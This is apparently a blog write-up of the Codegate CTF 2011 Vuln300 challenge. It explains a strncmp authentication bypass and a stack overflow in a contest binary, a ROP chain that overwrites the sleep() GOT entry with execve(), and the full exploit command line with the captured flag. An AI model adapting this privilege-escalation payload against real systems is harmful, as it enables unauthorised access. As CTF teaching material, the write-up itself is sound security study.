Monday, March 7, 2011

Codegate CTF 2011 Vuln300 Writeup

This challenge, we were given the ssh account to Ubuntu 10.10. We have to exploit the binary inside /home/vuln1 to get the vuln1 privilege and grab the flag. ASLR and NX are enabled. The binary was compiled without stack cookie, PIE.

After reading the assembly in IDA, I wrote the code in C (vuln300.c). Below is the important parts.

char gbuffer[512];  // 0x0804a0a0
int authenticated;

int authen(char *username, char *password)
{
    snprintf(gbuffer, 513, "%s:%s", username, password);
    if (!authenticated)
        authenticated = (strncmp(gbuffer, "s0m3b0dy:15n0b0dy", 17) == 0);

    return authenticated;
}

void add_user(newusername, newpassword, filename)
{
    char buffer[512];
    char user_len, pass_len;

    user_len = (char) strlen(newusername);
    strncpy(buffer, newusername, 511);
    pass_len = (char) strlen(newpassword);
    strncat(buffer, newpassword , 512);

    fprintf(stdout, "New user %s added to %s!\n", newusername, filename);
}

Problem in authen() function

The authen() function use strncmp() for compare the string. So we can authenticate with username that starts with "s0m3b0dy:15n0b0dy". Additional, gbuffer address is static (0x0804a0a0) because binary is not PIE. We can use gbuffer to put the payload here to create a reliable exploit.

Problem in add_user() function

It is obvious that there is buffer overflow problem in this function. We can overwrite saved ebp and saved eip. But we should not write past the saved eip because fprintf might be crashed if the newusername address is invalid.


With above 2 problems (plus GOT is writable), I came up with these steps.

  1. Overwrite saved ebp for moving the esp to gbuffer area with "leave; ret"
  2. Put the ROP stack in gbuffer to add the address in GOT entry to point to execve() function
  3. Call the execve()

To achieve the step 2, I used ROPEME to find the gadgets. Because we want only add the value in a static address (GOT entry), here is the interested gadgets

0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;;
0x8048418L: pop eax ; pop ebx ; leave ;;

The second gadget is for setting eax and ebx. Then we can use the first gadget to change the value of GOT entry. I modified the sleep() entry at address (0x804a01c).

$ objdump -T libc.so.6 | grep -w sleep
00098e50  w   DF .text  00000299  GLIBC_2.0   sleep
$ objdump -T libc.so.6 | grep -w execve
00099510  w   DF .text  0000005a  GLIBC_2.0   execve

Some needed computation
- The offset from sleep() to execve() in libc is 0x00099510 - 0x00098e50 = 0x6c0
- The eax before calling first gadget should be 0x1000006c0 - 0x0804a064 = 0xf7fb665c
- The ebx before calling first gadget should be 0x10804a01c - 0x5d5b04c4 = 0xaaa99b58

Here is my exploit that will call execve("0dy", 0, 0) (I used "0dy" string from "s0m3b0dy:15n0b0dy" at address 0x08048a24)

$ /home/vuln1/vuln300 -us0m3b0dy:15n0b0dyAA `perl -e 'print "-p","\xc4\xa0\x04\x08","\x18\x84\x04\x08","\x5c\x66\xfb\xf7","\x58\x9b\xa9\xaa","\xc4\xa0\x04\x08","\x59\x85\x04\x08","\xd5\x88\x04\x08","\x24\x8a\x04\x08"'` -fa `perl -e 'print "-x","A"x510'` `perl -e 'print "-yAAAA","\xb4\xa0\x04\x08","\x1a\x84\x04\x08"'`
...
$ cat flag.txt
33f9876804c9a14e927e5d1d70a64ace